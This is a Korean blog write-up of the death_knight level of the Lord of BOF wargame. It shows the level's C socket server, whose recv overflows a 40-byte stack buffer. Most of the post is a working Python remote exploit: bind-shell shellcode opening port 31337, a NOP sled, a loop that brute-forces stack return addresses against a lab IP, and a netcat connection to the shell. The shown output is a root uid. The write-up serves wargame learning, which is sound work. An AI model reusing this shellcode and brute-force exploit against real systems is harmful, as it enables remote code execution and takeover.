본문 바로가기
# write-up/- Lord of Bof

[LOB] xavius -> death_knight

by ddddh 2016. 12. 9.

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h> 

#include <stdlib.h> 

#include <errno.h> 

#include <string.h> 

#include <sys/types.h> 

#include <netinet/in.h> 

#include <sys/socket.h> 

#include <sys/wait.h> 

#include <dumpcode.h>


main()

{

char buffer[40];


int server_fd, client_fd;  

struct sockaddr_in server_addr;   

struct sockaddr_in client_addr; 

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;        

server_addr.sin_port = htons(6666);   

server_addr.sin_addr.s_addr = INADDR_ANY; 

bzero(&(server_addr.sin_zero), 8);   


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

        

while(1) {  

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

            

if (!fork()){ 

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0); <- 입력 받음.

close(client_fd);

break;

}

            

close(client_fd);  

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}


이번 문제는 보안 필터는 없다. 단순히 socket으로 연결하여 buffer를 overflow 시켜주면 된다.


프로세스를 검색해보면 death_knight는 실행되고 있음을 확인할 수 있다.


[xavius@localhost xavius]$ ps -ef | grep death_knight

death_kn   646     1  0 09:48 ?        00:00:00 /home/xavius/death_knight

xavius     702   679  0 10:00 pts/0    00:00:00 grep death_knight


payload는 [buffer size + 4] 까지 Dummy 값으로 채워주고 ret를 bind shellcode의 주소로 덮어 버리면 된다. 


nop = (256 bytes - dummy + ret + bind shellcode) 

payload = [dummy 44 bytes] + [ret 4 bytes] + [ nop + bind shellcode] == 총 합 256 bytes


하지만 socket으로 연결해 통신하는 거라 환경변수를 쓰지 못한다. 즉, 스택안 어딘가의 bind shellcode 주소를 찾아야 하기 때문에 brute force 과정을 거쳐야 된다.


import os

from socket import *

import struct

import time



p = lambda s : struct.pack("<L", s) # 리틀 엔디안으로 바꿔주는 축약식

HOST = "192.168.1.135" # lob 서버 ip

PORT = 6666


bsc = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x95\

  \x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x16\x51\x55\

  \x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x53\x55\x89\xe1\xcd\x80\x6a\x66\

  \x58\x43\x52\x52\x55\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\

  \x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\

  \xe3\x52\x53\x89\xe1\xcd\x80

# l31337 포트를 열어주는 쉘 코드


nop = "\x90" * (256-(44+4+len(bsc))) # nop sled 기법을 이용. (최대 256 byte를 받기 때문)

dummy = "f1ay" * 11 # dummy 값


for ret in range(0xbfff0000, 0xbfffffff, 1): # Stack 공간 brute force

print "Sending: 0x%08x"%ret

s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

s.recv(60)

s.send(dummy + p(ret) + nop + bsc)

s.close()

time.sleep(0.2)

os.system("nc %s 31337" % HOST) # netcat을 통한 서버 연결


Host PC인 windows에서 파이썬 exploit 코드를 실행한 결과다.


C:\Users\ddddh\Desktop>python exploit.py

~~~

Sending: 0xbffffd70

Sending: 0xbffffd71

id

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)


'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] death_knight  (0) 2016.12.09
[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07